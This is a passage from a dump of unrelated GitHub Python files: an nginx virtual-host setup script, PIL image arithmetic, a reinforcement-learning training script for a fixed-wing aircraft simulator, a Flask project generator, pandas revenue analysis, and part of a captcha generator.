config_file.write(base_virtual_host_config)\n\n print(\"Success\")\n\n # Create base page for {hostname} virtual host\n web_page = f\"\"\"\n \n \n Hello from {hostname}\n \n \n \"\"\"\n\n # Create directory and write index.html\n os.makedirs(f\"/var/www/{hostname}/html\", exist_ok=True)\n with open(f\"/var/www/{hostname}/html/index.html\", 'w') as index_file:\n index_file.write(web_page)\n\n print(\"Success\")\n\n # Change web page owner\n subprocess.run(\n ['sudo', 'chown', '-R',\n f'{os.getlogin()}:{os.getlogin()}', f'/var/www/{hostname}/html'],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE\n )\n\n # Make host available\n subprocess.run(\n ['sudo', 'ln', '-s',\n f'/etc/nginx/sites-available/{hostname}', f'/etc/nginx/sites-enabled/{hostname}'],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE\n )\n\n\ndef update_issue(issue):\n print(f\"Update {issue}\")\n virt_hosts = list(filter(lambda host: host != 'default',\n os.listdir('/etc/nginx/sites-enabled/')))\n\n # Uptate given issue\n with open(issue, 'w') as issue_file:\n issue_file.write(\"Welcome to Ubuntu server\\n\")\n issue_file.write(\"Local IPv4: \\\\4{enp0s3}\\n\")\n issue_file.write(\n f\"Your available virtual hosts: {', '.join(virt_hosts)}\\n\")\n\n\ndef main():\n # Get the arguments from the command-line except the filename\n args = sys.argv[1:]\n args_count = len(args)\n\n if args_count == 0:\n print(\"No command-line arguments provided.\")\n print(\"Please enter at least one virtual hostname for nginx\")\n print(\"Example:\")\n print(\"python create-nginx-virtual-hosts.py myhost1.com myhost2.org myhost3.com\")\n else:\n # Check if OpenSSH Server is installed\n if b\"openssh-server\" not in subprocess.check_output(['sudo', 'dpkg', '-l']):\n print(\"OpenSSH Server is not installed. Installing...\")\n install_package(\"openssh-server\")\n else:\n print(\"OpenSSH Server is already installed.\")\n\n # Check if Nginx is installed\n if b\"nginx\" not in subprocess.check_output(['sudo', 'dpkg', '-l']):\n print(\"Nginx is not installed. Installing...\")\n install_package(\"nginx\")\n else:\n print(\"Nginx is already installed.\")\n\n # Stop nginx\n subprocess.run(['sudo', 'systemctl', 'stop', 'nginx'],\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n # Loop through all virtual hostnames\n for arg in args:\n create_virtual_host(arg)\n\n print(\"Fix error hash bucket memory\")\n subprocess.run(\n ['sudo', 'sed', '-i', 's/# server_names_hash_bucket_size 64;/server_names_hash_bucket_size 64;/',\n '/etc/nginx/nginx.conf'],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE\n )\n print(\"Success\")\n\n print(\"Start nginx\")\n subprocess.run(\n ['sudo', 'systemctl', 'start', 'nginx'],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE\n )\n\n # Get IP address\n print(\"Get IP address\")\n # Get the IP address associated with the host name\n ip_address = subprocess.check_output(\n ['hostname', '-I']).decode().strip()\n print(\"Success\")\n update_issue(\"/etc/issue\")\n update_issue(\"/etc/issue.net\")\n print(\"Success\")\n\n print(\"Please add the following line to your hosts file:\")\n print(f\"{ip_address} {' '.join(args)}\")\n print(\"Usual Windows path: \\\"C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\\\"\")\n print(\"Usual Linux path: \\\"/etc/hosts\\\"\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Noct2000/nginx-virtual-hosts-script-py","sub_path":"create-nginx-virtual-hosts.py","file_name":"create-nginx-virtual-hosts.py","file_ext":"py","file_size_in_byte":4930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"135935690","text":"from PIL import Image\n\ndef addition(im1, im2):\n\th,w = im1.size\n\tout_img = Image.new(im1.mode,(h,w))\n\tfor i in range(h):\n\t\tfor j in range(w):\n\t\t\tpix = im1.getpixel((i,j)) + im2.getpixel((i,j))\n\t\t\tif pix > 255:\n\t\t\t\tpix = 255\n\t\t\tout_img.putpixel((i,j),pix)\n\treturn out_img\n\ndef subtraction(im1,im2):\n h,w = im1.size\n out_img = Image.new(im1.mode,(h,w))\n for i in range(h):\n for j in range(w):\n pix = im1.getpixel((i,j)) - im2.getpixel((i,j))\n if pix < 0:\n pix = 0\n out_img.putpixel((i,j),pix)\n return out_img\n\ndef multiplication(im1, c):\n h,w = im1.size\n out_img = Image.new(im1.mode,(h,w))\n for i in range(h):\n for j in range(w):\n pix = im1.getpixel((i,j)) * c\n if pix > 255:\n pix = 255\n out_img.putpixel((i,j),pix)\n return out_img\n\ndef division(im1, c):\n h,w = im1.size\n out_img = Image.new(im1.mode,(h,w))\n for i in range(h):\n for j in range(w):\n pix = im1.getpixel((i,j)) // c\n if pix < 0:\n pix = 0\n out_img.putpixel((i,j),pix)\n return out_img\n\nim1 = Image.open(\"cameraman.tif\").convert(\"L\")\nim2 = Image.open(\"bridge.jpg\").convert(\"L\")\nim3 = Image.open(\"angio.tif\").convert(\"L\")\n\ninput(\"Addition\")\nout = addition(im1, im2)\nout.show()\nout.save(\"6_a.jpg\")\n\ninput(\"Subtraction\")\nout = subtraction(im1, im2)\nout.show()\nout.save(\"6_b.jpg\")\n\nnum = input(\"Enter multiplication factor: \")\nout = multiplication(im1, int(num))\nout.show()\nout.save(\"6_c.jpg\")\n\nnum = input(\"Enter division factor: \")\nout = division(im1, int(num))\nout.show()\nout.save(\"6_d.jpg\")\n","repo_name":"rajeevrmenon97/iplab","sub_path":"Ex2/EXE2_b150115cs_rajeev_6.py","file_name":"EXE2_b150115cs_rajeev_6.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"70295109664","text":"from orm_choices import choices\n\n\n@choices\nclass BloodType:\n class Meta:\n A_POSITIVE = [1, 'A +ve']\n B_POSITIVE = [2, 'B +ve']\n O_POSITIVE = [3, 'O +ve']\n AB_POSITIVE = [4, 'AB +ve']\n A_NEGATIVE = [-1, 'A -ve']\n B_NEGATIVE = [-2, 'B -ve']\n O_NEGATIVE = [-3, 'O -ve']\n AB_NEGATIVE = [-4, 'AB -ve']\n","repo_name":"dhilipsiva/orm-choices","sub_path":"orm_choices/utils/blood_type.py","file_name":"blood_type.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"7"} +{"seq_id":"9966395430","text":"import sys\nimport gym\nimport numpy as np\nimport torch\n\nfrom stable_baselines3.common.monitor import Monitor\nfrom stable_baselines3.common.utils import set_random_seed\nfrom stable_baselines3.common.vec_env import (\n SubprocVecEnv,\n VecCheckNan,\n DummyVecEnv,\n VecNormalize,\n)\nfrom stable_baselines3 import SAC\nfrom stable_baselines3 import mSAC\nfrom stable_baselines3 import PPO\nfrom stable_baselines3.common.callbacks import BaseCallback\nfrom stable_baselines3.common.logger import Image\n\nfrom gym_fixed_wing.fixed_wing import FixedWingAircraft\nfrom pyfly_fixed_wing_visualizer.pyfly_fixed_wing_visualizer import simrecorder\nimport time\nimport os\nimport shutil\nimport matplotlib.pyplot as plt\n\ntry:\n from evaluate_controller import evaluate_model_on_set\nexcept:\n # from gym_fixed_wing.examples.evaluate_controller import evaluate_model_on_set\n print(\"Fail.\")\n\n# global variables\ncurriculum_level = 0.25 # Initial difficulty level of environment\ncurriculum_cooldown = (\n 25 # Minimum number of episodes between environment difficulty adjustments\n)\nrender_interval = 600 # Time in seconds between rendering of training episodes\ntest_interval = None\ntest_set_path = None\nlast_test = 0\nlast_render = time.time()\ncheckpoint_save_interval = 300\nlast_save = time.time()\nlast_ep_info = None\nlog_interval = 50\nrender_check = {\"files\": [], \"time\": time.time()}\ninfo_kw = [\n \"success\",\n \"control_variation\",\n \"end_error\",\n \"total_error\",\n \"success_time_frac\",\n]\nsim_config_kw = {}\nenv = None\nmodel = None\nmodel_folder = None\nconfig_path = None\n\n\ndef save_model(model, save_folder):\n \"\"\"\n Helper function to save model checkpoint.\n :param model: (PPO2 object) the model to save.\n :param save_folder: (str) the folder to save model to.\n :return:\n \"\"\"\n model.save(os.path.join(save_folder, \"model.pkl\"))\n model.env.save(os.path.join(save_folder, \"env.pkl\"))\n\n\nclass TensorboardCallback(BaseCallback):\n \"\"\"\n Custom callback for plotting additional values in tensorboard.\n \"\"\"\n\n def __init__(self, verbose=1):\n super(TensorboardCallback, self).__init__(verbose)\n\n def _on_step(self) -> bool:\n global curriculum_level, last_ep_info, info_kw, log_interval, curriculum_cooldown, render_interval, last_render, render_check, model_folder, test_interval, last_test, checkpoint_save_interval, last_save, test_set_path, config_path, env, model\n\n if \"ep_info_buffer\" in self.locals:\n ep_info_buf = self.locals[\"ep_info_buffer\"]\n else:\n ep_info_buf = self.locals[\"self\"].ep_info_buffer\n if len(ep_info_buf) > 0 and ep_info_buf[-1] != last_ep_info:\n last_ep_info = ep_info_buf[-1]\n\n now = time.time()\n\n info = {}\n for ep_info in ep_info_buf:\n for k in ep_info.keys():\n if k in info_kw:\n if k not in info:\n info[k] = {}\n if isinstance(ep_info[k], dict):\n for state, v in ep_info[k].items():\n if state in info[k]:\n info[k][state].append(v)\n else:\n info[k][state] = [v]\n else:\n if \"all\" in info[k]:\n info[k][\"all\"].append(ep_info[k])\n else:\n info[k][\"all\"] = [ep_info[k]]\n if self.logger is not None:\n if \"success\" in info:\n for measure in info_kw:\n for k, v in info[measure].items():\n self.logger.record(\n key=\"ep_info/{}_{}\".format(measure, k),\n value=np.nanmean(v),\n )\n elif (\n self.locals[\"n_steps\"] % log_interval == 0\n and self.locals[\"n_steps\"] != 0\n ):\n for info_k, info_v in info.items():\n print(\n \"\\n{}:\\n\\t\".format(info_k)\n + \"\\n\\t\".join(\n [\n \"{:<10s}{:.2f}\".format(k, np.nanmean(v))\n for k, v in info_v.items()\n ]\n )\n )\n if curriculum_level < 1:\n if curriculum_cooldown <= 0:\n if np.mean(info[\"success\"][\"all\"]) > curriculum_level:\n curriculum_level = min(np.mean(info[\"success\"][\"all\"]) * 2, 1)\n env.env_method(\"set_curriculum_level\", curriculum_level)\n curriculum_cooldown = 15\n else:\n curriculum_cooldown -= 1\n\n if now - last_render >= render_interval:\n env.env_method(\n \"render\",\n indices=0,\n mode=\"plot\",\n show=False,\n close=True,\n save_path=os.path.join(\n model_folder, \"render\", str(self.num_timesteps)\n ),\n )\n last_render = time.time()\n\n if (\n test_set_path is not None\n and self.num_timesteps - last_test >= test_interval\n ):\n last_test = self.num_timesteps\n evaluate_model_on_set(\n test_set_path,\n model,\n config_path=config_path,\n num_envs=self.training_env.num_envs,\n writer=self.logger,\n timestep=self.num_timesteps,\n )\n\n if now - render_check[\"time\"] >= 30:\n for render_file in os.listdir(os.path.join(model_folder, \"render\")):\n if render_file not in render_check[\"files\"]:\n render_check[\"files\"].append(render_file)\n\n img = plt.imread(\n os.path.join(*[model_folder, \"render\", render_file])\n )\n self.logger.record(\n \"pyfly/image\",\n Image(img, \"HWC\"),\n exclude=(\"stdout\", \"log\", \"json\", \"csv\"),\n )\n\n if now - last_save >= checkpoint_save_interval:\n save_model(self.model, model_folder)\n last_save = now\n\n return True\n\n\ndef make_env(config_path, rank=0, seed=0, info_kw=None, sim_config_kw=None):\n \"\"\"\n Utility function for multiprocessed env.\n\n :param config_path: (str) path to gym environment configuration file\n :param rank: (int) index of the subprocess\n :param seed: (int) the inital seed for RNG\n :param info_kw: ([str]) list of entries in info dictionary that the Monitor should extract\n :param sim_config_kw (dict) dictionary of key value pairs to override settings in the configuration file of PyFly\n \"\"\"\n\n def _init():\n env = FixedWingAircraft(config_path, sim_config_kw=sim_config_kw)\n env = Monitor(\n env, filename=None, allow_early_resets=True, info_keywords=info_kw\n )\n env.seed(seed + rank)\n return env\n\n set_random_seed(seed)\n return _init\n\n\ndef main(\n model_name,\n num_envs,\n env_config_path=None,\n train_steps=None,\n policy=None,\n disable_curriculum=True,\n test_data_path=None,\n):\n\n global last_render, render_check, test_interval, last_save, model_folder, config_path, test_set_path, model, env\n global info_kw, curriculum_level, sim_config_kw\n\n last_render = time.time()\n last_save = time.time()\n render_check = {\"files\": [], \"time\": time.time()}\n test_set_path = test_data_path\n\n num_cpu = int(num_envs)\n\n if policy is None:\n policy = \"MlpPolicy\"\n\n if disable_curriculum:\n curriculum_level = 1\n\n if train_steps:\n training_steps = int(train_steps)\n else:\n training_steps = int(5e6)\n\n # sim_config_kw.update({\"recorder\": simrecorder(train_steps)})\n\n test_interval = int(\n training_steps / 5 * 5\n ) # How often in time steps during training the model is evaluated on the test set\n\n model_folder = os.path.join(\"models\", model_name)\n if os.path.exists(model_folder):\n load = True\n else:\n load = False\n if env_config_path is None:\n config_path = \"\"\n else:\n config_path = env_config_path\n os.makedirs(model_folder)\n os.makedirs(os.path.join(model_folder, \"render\"))\n shutil.copy2(\n os.path.join(config_path, \"fixed_wing_config.json\"),\n os.path.join(model_folder, \"fixed_wing_config.json\"),\n )\n config_path = os.path.join(model_folder, \"fixed_wing_config.json\")\n\n env = VecNormalize(\n SubprocVecEnv(\n [\n make_env(config_path, i, info_kw=info_kw, sim_config_kw=sim_config_kw)\n for i in range(num_cpu)\n ]\n )\n )\n\n env.env_method(\"set_curriculum_level\", curriculum_level)\n env.set_attr(\"training\", True)\n\n if load:\n if \"mSAC\" in model_name:\n model = mSAC.load(\n os.path.join(model_folder, \"model.pkl\"),\n env=env,\n verbose=1,\n tensorboard_log=os.path.join(model_folder, \"tb\"),\n )\n elif \"SAC\" in model_name:\n model = SAC.load(\n os.path.join(model_folder, \"model.pkl\"),\n env=env,\n verbose=1,\n tensorboard_log=os.path.join(model_folder, \"tb\"),\n )\n else:\n model = PPO.load(\n os.path.join(model_folder, \"model.pkl\"),\n env=env,\n verbose=1,\n tensorboard_log=os.path.join(model_folder, \"tb\"),\n )\n else:\n if \"mSAC\" in model_name:\n model = mSAC(\n policy,\n env,\n verbose=1,\n policy_kwargs=dict(\n net_arch=[300, 300, 300], latent_dim=7, hidden_sizes=[300, 300, 300]\n ),\n tensorboard_log=os.path.join(model_folder, \"tb\"),\n )\n elif \"SAC\" in model_name:\n model = SAC(\n policy,\n env,\n verbose=1,\n tensorboard_log=os.path.join(model_folder, \"tb\"),\n )\n else:\n model = PPO(\n policy,\n env,\n verbose=1,\n tensorboard_log=os.path.join(model_folder, \"tb\"),\n )\n model.learn(\n total_timesteps=training_steps,\n log_interval=log_interval,\n callback=TensorboardCallback(),\n )\n save_model(model, model_folder)\n # env.env_method(\"render\", mode=\"plot\", show=True, close=False)\n # env.render(block=True)\n\n\nif __name__ == \"__main__\":\n from argparse import ArgumentParser\n\n parser = ArgumentParser()\n parser.add_argument(\n \"model_name\",\n help=\"Path to model folder. If already exists, configurations will be loaded from this folder and training will resume from checkpoint.\",\n )\n parser.add_argument(\"num_envs\", help=\"Number of processes for environments.\")\n\n parser.add_argument(\n \"--env-config-path\",\n required=False,\n help=\"Path to configuration for gym environment\",\n )\n parser.add_argument(\n \"--train-steps\", required=False, help=\"Number of training time steps\"\n )\n parser.add_argument(\n \"--policy\", required=False, help=\"Type of policy to use (MlpPolicy or other)\"\n )\n parser.add_argument(\n \"--disable-curriculum\",\n dest=\"disable_curriculum\",\n action=\"store_true\",\n required=False,\n help=\"If this flag is set, curriculum (i.e. gradual increase in sampling region of initial and target conditions based on proficiency) is disabled.\",\n )\n parser.add_argument(\n \"--test-set-path\",\n required=False,\n help=\"Path to test set. If supplied, the model is evaluated on this test set 4 times during training.\",\n )\n\n args = parser.parse_args()\n\n main(\n model_name=args.model_name,\n num_envs=args.num_envs,\n env_config_path=args.env_config_path,\n train_steps=args.train_steps,\n policy=args.policy,\n disable_curriculum=args.disable_curriculum,\n test_data_path=args.test_set_path,\n )\n","repo_name":"MoritzSchueler96/TUM_ADLR_Deep_Reinforcement_Learning","sub_path":"magpie/magpy/__old/train_rl_controller.py","file_name":"train_rl_controller.py","file_ext":"py","file_size_in_byte":12693,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"7169150417","text":"import json\nimport os\nimport re\nfrom typing import Pattern\n\nimport click\nimport inflect\nfrom schema import SchemaError\nfrom termcolor import colored\n\nfrom boom.handlers.package_handler import PackageHandler\nfrom boom.handlers.structure_handler import StructureHandler\nfrom boom.handlers.template_handler import TemplateHandler\nfrom boom.schema.project_config import project_config_schema\n\nengine = inflect.engine()\n\n\ndef find_last_line_of(start_index, match: Pattern or None, lines):\n \"\"\"\n Gets the last line of a matched pattern\n\n :param start_index:\n :param match: pattern\n :param lines:\n :return:\n \"\"\"\n i = start_index + 1\n if match is not None:\n while match.match(lines[i]) or len(lines[i]) == 0:\n i += 1\n return i\n\n\ndef write_at_marker(lines, line_to_write, match: Pattern or None = None, marker=None, not_exists=True):\n if isinstance(lines, list):\n if marker is None:\n line_index = find_last_line_of(0, match, lines)\n else:\n marker_idx = [i for i, line in enumerate(lines) if marker in line]\n # Marker found\n if len(marker_idx) > 0:\n if not_exists:\n exists = [i for i, line in enumerate(lines) if line_to_write in line]\n if len(exists) != 0:\n return 'exists'\n marker_idx = marker_idx[0]\n line_index = find_last_line_of(marker_idx, match, lines)\n else:\n return 'not_found'\n # Insert at index\n lines.insert(line_index, line_to_write + '\\n')\n return lines\n\n\ndef import_module(lines: list, module, prefix=''):\n if isinstance(lines, list):\n marker_idx = [i for i, line in enumerate(lines) if re.compile('^(.*)import(.*)$').match(line)]\n if len(marker_idx) > 0:\n marker_idx = marker_idx[0] + 1\n else:\n marker_idx = 0\n if prefix != '':\n match = re.compile('^from ' + prefix + ' import (.*)$')\n line = {i: line for i, line in enumerate(lines) if match.match(line)}\n if len(line.keys()) != 0:\n k = next(iter(line))\n found_modules = match.search(line[k]).group(1).split(', ')\n if module not in found_modules:\n found_modules.append(module)\n lines[k] = f\"from {prefix} import {', '.join(found_modules)}\\n\"\n else:\n lines.insert(marker_idx, f\"from {prefix} import {module}\\n\")\n else:\n line_to_write = f\"import {module}\"\n exists = [i for i, line in enumerate(lines) if line_to_write in line]\n if len(exists) == 0:\n lines.insert(marker_idx, line_to_write)\n return lines\n\n\ndef write_lines_to_file(lines, file):\n if not isinstance(lines, list):\n if lines == 'exists':\n click.secho('Module already imported.')\n else:\n click.secho('Could not import module automatically. This will have to be done manually.',\n fg='yellow', bold=True)\n return\n file.seek(0)\n file.write(''.join(lines))\n file.truncate()\n\n\nclass ProjectHandler:\n __ctx__ = None\n project_root = os.getcwd()\n project_config = {}\n project_template_config = {}\n verbose = 0\n\n def __init__(self, ctx, verbose=0):\n self.__ctx__ = ctx\n self.verbose = verbose\n\n def validate_and_set_config(self, root_vars):\n \"\"\"\n Validates root vars\n\n Checks required vars and project root path\n :return bool: If valid\n \"\"\"\n\n try:\n self.project_config = project_config_schema.validate(root_vars)\n except SchemaError as e:\n self.__ctx__.fail(colored('Invalid Project Config: %s' % e, 'red',\n attrs=['bold']))\n\n def create_project(self, project_root, root_vars):\n self.validate_and_set_config(root_vars)\n\n if project_root is not None:\n self.project_root = os.path.abspath(project_root)\n\n self.select_template(self.project_config.get('template').get('slug'))\n\n structure_handler = StructureHandler(self.__ctx__, root_vars, self.project_root, self.verbose)\n structure_handler.create_project_structure(self.project_template_config)\n\n self.save_project_settings()\n\n package_handler = PackageHandler(self.__ctx__, self.project_root, self.verbose)\n\n # Create project venv\n package_handler.start_venv()\n\n def save_project_settings(self):\n click.secho('########### Saving Project Settings ###########', fg='cyan')\n project_settings = self.project_config\n project_settings.update(template={\"slug\": self.project_template_config.get('slug')})\n with open(os.path.join(self.project_root, 'project.boom.json'), \"w\") as f:\n f.write(json.dumps(project_settings))\n f.close()\n click.secho('Saved Project Settings to project.boom.json', fg='green')\n\n def select_template(self, template_slug):\n template_handler = TemplateHandler(self.__ctx__, self.verbose)\n try:\n self.project_template_config = template_handler.get_config_for_slug(template_slug)\n except SchemaError as e:\n print(e)\n self.__ctx__.fail(colored('Invalid Template config: %s' % e, 'red',\n attrs=['bold']))\n\n def load_project(self, project_root):\n if project_root is not None:\n self.project_root = os.path.abspath(project_root)\n if self.verbose >= 1:\n click.secho('Loading Project Config', fg='yellow')\n project_config_path = os.path.join(project_root, 'project.boom.json')\n if not os.path.exists(project_config_path):\n self.__ctx__.fail(\n colored(\n 'Could not load project settings. Missing project.boom.json file in %s.' % project_root,\n 'red', attrs=['bold']))\n with open(project_config_path, \"r\") as f:\n ProjectHandler.project_config = json.loads(f.read())\n\n # Load Template config\n self.select_template(ProjectHandler.project_config.get('template').get('slug'))\n\n def generate_module(self, module, name: str, model=None):\n if self.project_root is None:\n self.__ctx__.fail(colored('Could not load project', 'red', attrs=['bold']))\n if self.project_template_config is None:\n self.__ctx__.fail(colored('Could not load project template', 'red', attrs=['bold']))\n click.secho('########### Generating Module [%s] ###########' % name, fg='cyan')\n type = self.project_template_config.get('type', 'app')\n structure_handler = StructureHandler(self.__ctx__, ProjectHandler.project_config, self.project_root,\n self.verbose)\n prefix = ''\n if '/' in name:\n splits = name.split('/')\n name = splits[-1]\n prefix = '.'.join(splits[:-1])\n # Add extra variables\n if model is not None:\n model_path = os.path.join(ProjectHandler.project_config.get('project_name_path'), model)\n if not os.path.exists(model_path):\n self.__ctx__.fail(colored('Model does not exist at path: %s' % model_path, 'red', attrs=['bold']))\n return\n m = model.split('/')\n structure_handler.root_vars.update(module_model=m[-1])\n structure_handler.root_vars.update(module_model_path='.'.join(m))\n structure_handler.root_vars.update(module_prefix=prefix)\n structure_handler.root_vars.update(module_name=name)\n structure_handler.root_vars.update(module_name_plural=engine.plural(name))\n # Paths\n input_module_path, output_module_path = self.__get_module_paths__(type, module, name, prefix)\n if not os.path.exists(input_module_path):\n self.__ctx__.fail(colored('Unknown module: %s' % module, 'red', attrs=['bold']))\n structure_handler.create_dir_if_does_not_exist(output_module_path)\n structure_handler.empty_if_not(output_module_path)\n if type == 'app':\n structure_handler.create_files_for_dir(\n input_module_path,\n output_module_path)\n self.register_app(name, os.path.dirname(output_module_path))\n else:\n source_path = os.path.join(input_module_path, f'{module}.py') # E.g. route.py\n if not os.path.exists(source_path):\n source_path += '.jinja2'\n structure_handler.create_file(source_path, os.path.join(output_module_path, f'{name}.py'))\n self.register_function(name, module, output_module_path,\n structure_handler.root_vars.get('module_name_plural'))\n click.secho('Generation Complete', fg='green', bold=True)\n\n def __get_module_paths__(self, template_type, module, name, prefix):\n \"\"\"\n Gets the input and output paths\n\n :param template_type:\n :param module:\n :param name:\n :return: input_module_path, output_module_path\n \"\"\"\n prefix = '/'.join(prefix.split('.')) if template_type == 'app' else ''\n return os.path.join(self.project_template_config.get('abs_dir'), 'project',\n module if template_type == 'app' else engine.plural(module)), \\\n os.path.join(self.project_root, ProjectHandler.project_config.get('project_name_path'),\n prefix, name if template_type == 'app' else engine.plural(module))\n\n def __get_module_from_path__(self, path):\n return '.'.join(os.path.relpath(path, self.project_root).split('/'))\n\n def register_app(self, name, module_path):\n # Register app\n init_func = self.project_template_config.get('module_init_func', 'init_app')\n if init_func is not None:\n init_path = os.path.join(module_path, '__init__.py')\n while not os.path.exists(init_path):\n init_path = os.path.abspath(os.path.join(os.path.dirname(init_path), '..', '__init__.py'))\n # Open target project base init func\n with open(init_path, \"r+\") as f:\n lines = f.readlines()\n new_lines = write_at_marker(lines, line_to_write=f\" {name}.{init_func}\",\n match=re.compile(f'^(.*){init_func}(.*)$'), marker='[b] Apps')\n new_lines = import_module(new_lines, name, self.__get_module_from_path__(module_path))\n write_lines_to_file(new_lines, f)\n\n @staticmethod\n def register_function(name, module, module_path, module_plural=None):\n if module_plural is None:\n module_plural = engine.plural(module)\n # Register module\n if module == 'route':\n module_line = f'app.register_blueprint({module_plural})'\n module_match = re.compile('^(.*)app.register_blueprint(.*)$')\n else:\n return\n\n # Open target project base init func\n with open(os.path.join(module_path, '__init__.py'), \"r+\") as f:\n lines = f.readlines()\n new_lines = write_at_marker(lines, line_to_write=f\" {module_line}\",\n match=module_match, marker='[b] Apps')\n new_lines = write_at_marker(new_lines,\n line_to_write=f\"from .{name} import {engine.plural(name)}\",\n match=re.compile('^(.*)import(.*)$'))\n write_lines_to_file(new_lines, f)\n","repo_name":"TomGrozev/flask-boom","sub_path":"boom/handlers/project_handler.py","file_name":"project_handler.py","file_ext":"py","file_size_in_byte":11664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72131296544","text":"n=int(input(\"Enter a number : \"))\nc=0\np=n//2\nfor i in range(2,p+1):\n if n%i==0:\n c=c+1\n\nif(c==0):\n print(\"Prime\")\n\nelse:\n print(\"Not prime\")","repo_name":"SanFullStack/Python-Coding","sub_path":"prime.py","file_name":"prime.py","file_ext":"py","file_size_in_byte":156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"30900556463","text":"import pandas as pd\n\ndf = pd.read_csv(\"revenue_usd/revenue.csv\", sep=\"\\t\")\n\n\ndef func(group):\n old_prices = {}\n base = {\"bid\": -1, \"ask\": -1}\n revenue = [0]\n def sec(singe_dt):\n singe_dt = singe_dt.sort_values(\"revenue\", ascending=False)\n def thi(now):\n if old_prices.get(now[\"bidExchange\"], base)[\"bid\"] != now[\"bidPrice\"] and \\\n old_prices.get(now[\"askExchange\"], base)[\"ask\"] != now[\"askPrice\"]:\n old_prices[now[\"bidExchange\"]] = {\"bid\": now[\"bidPrice\"], \"ask\": old_prices.get(now[\"bidExchange\"], base)[\"ask\"]}\n old_prices[now[\"askExchange\"]] = {\"bid\": old_prices.get(now[\"askExchange\"], base)[\"ask\"], \"ask\": now[\"askPrice\"]}\n if now[\"revenueUSD\"] > 0:\n revenue[0] += now[\"revenueUSD\"]\n singe_dt.apply(thi, axis=1)\n group.groupby(\"dt\").apply(sec)\n return revenue[0]\n\ngrb = df.groupby([\"base\", \"quote\"], group_keys=True).apply(func) \ngrb.to_csv(\"real_revenue.tsv\", sep=\"\\t\")","repo_name":"Tronnert/BlockchainArbitration","sub_path":"analysis/real_revenue_to_file.py","file_name":"real_revenue_to_file.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"72157927262","text":"# PROJECT : easy-captcha\n# TIME : 18-7-30 下午4:00\n# AUTHOR : Younger Shen\n# EMAIL : younger.x.shen@gmail.com\n# CELL : 13811754531\n# WECHAT : 13811754531\n# https://github.com/youngershen/\n\nimport os\nimport random\nfrom pathlib import Path\nfrom PIL import Image, ImageDraw, ImageFont, ImageColor\n\n\nclass BaseError(Exception):\n message = None\n\n def __str__(self):\n return self.message\n\n\nclass FontNotFoundError(BaseError):\n message = 'the required font is not found.'\n\n\nclass StringIsNoneError(BaseError):\n message = 'the captcha string is none.'\n\n\nclass BaseGenerator:\n FONT_SIZE = 150\n IMAGE_SIZE = (100, 50)\n\n FONTS = [\n 'RexBoldInline.otf',\n 'TruenoBdOlIt.otf',\n 'MicroSoftYaHei.ttf',\n 'MicroSoftYaHeiBold.ttf',\n 'AuxinMedium.otf'\n ]\n\n CHARSET_NUMBER = 0\n CHARSET_ALPHABET = 1\n CHARSET_ASCII = 2\n CHARSET_OTHER = 3\n\n def make_captcha(self,\n string: str = None,\n font_size: int = None,\n image_size: tuple = None):\n raise NotImplementedError()\n\n def __init__(self):\n self.size = (200, 100)\n\n def _get_font(self, size: int = 48):\n raise NotImplementedError()\n\n def _composite_char_images(self, images: list, color: ImageColor):\n width = 0\n height = 0\n padding = self._rand_padding()\n\n for i in images:\n width = width + i.size[0]\n height = i.size[1] if height < i.size[1] else height\n\n width = width + padding * len(images) - 1\n image = self._make_background(width, height, color=color)\n\n offset = 0\n for i in images:\n image.paste(i, (offset, 0), mask=i)\n offset = offset + i.size[0] + padding\n\n return image\n\n def _make_char(self,\n char: str,\n font: ImageFont,\n color: ImageColor = None,\n rotate: int = None,\n resize: bool = False,\n size: tuple = None):\n\n w, h, wo, ho = self._get_char_size(font, char)\n image = Image.new(mode='RGBA', size=(w, h))\n draw = ImageDraw.Draw(image)\n color = color if color else self._rand_color\n draw.text((wo, ho), char, font=font, fill=color)\n\n if rotate is not None:\n image = self._rotate(image, rotate)\n else:\n image = self._rand_rotate(image)\n\n if resize:\n if size:\n image = self._resize(image, size)\n else:\n image = self._rand_resize(image)\n\n image = image.crop(image.getbbox())\n return image\n\n def _make_background(self,\n width: int,\n height: int,\n color: ImageColor = None,):\n color = color if color else self._rand_color\n image = Image.new('RGB', (width, height), color=color)\n return image\n\n def _load_font(self,\n path: Path = None,\n name: str = None,\n size: int = 48,\n index: int = 0,\n encoding: str = '',\n layout_engine=None):\n font_path = self._get_font_path(path=path, name=name)\n font = ImageFont.truetype(font=font_path,\n size=size,\n index=index,\n encoding=encoding,\n layout_engine=layout_engine)\n return font\n\n def _load_rand_font(self,\n index: int = 0,\n encoding: str = '',\n layout_engine=None):\n import random\n i = random.randrange(0, len(self.FONTS))\n name = self.FONTS[i]\n font = self._load_font(name=name,\n index=index,\n encoding=encoding,\n layout_engine=layout_engine)\n return font\n\n def _rand_rotate(self, image: Image):\n angel = random.randint(0, 360)\n image = self._rotate(image, angel)\n return image\n\n def _make_char_images(self,\n string: str,\n font: ImageFont,\n color: ImageColor = None,\n rotate: int = None,\n resize: bool = False,\n size: tuple = None):\n if not string:\n raise StringIsNoneError()\n else:\n images = map(lambda c: self._make_char(c,\n font,\n rotate=rotate,\n color=color,\n resize=resize,\n size=size), string)\n return list(images)\n\n @property\n def _rand_color(self):\n r = random.randint(0, 255)\n g = random.randint(0, 255)\n b = random.randint(0, 255)\n color = 'rgb({R}, {G}, {B})'.format(R=r, G=g, B=b)\n return ImageColor.getrgb(color)\n\n 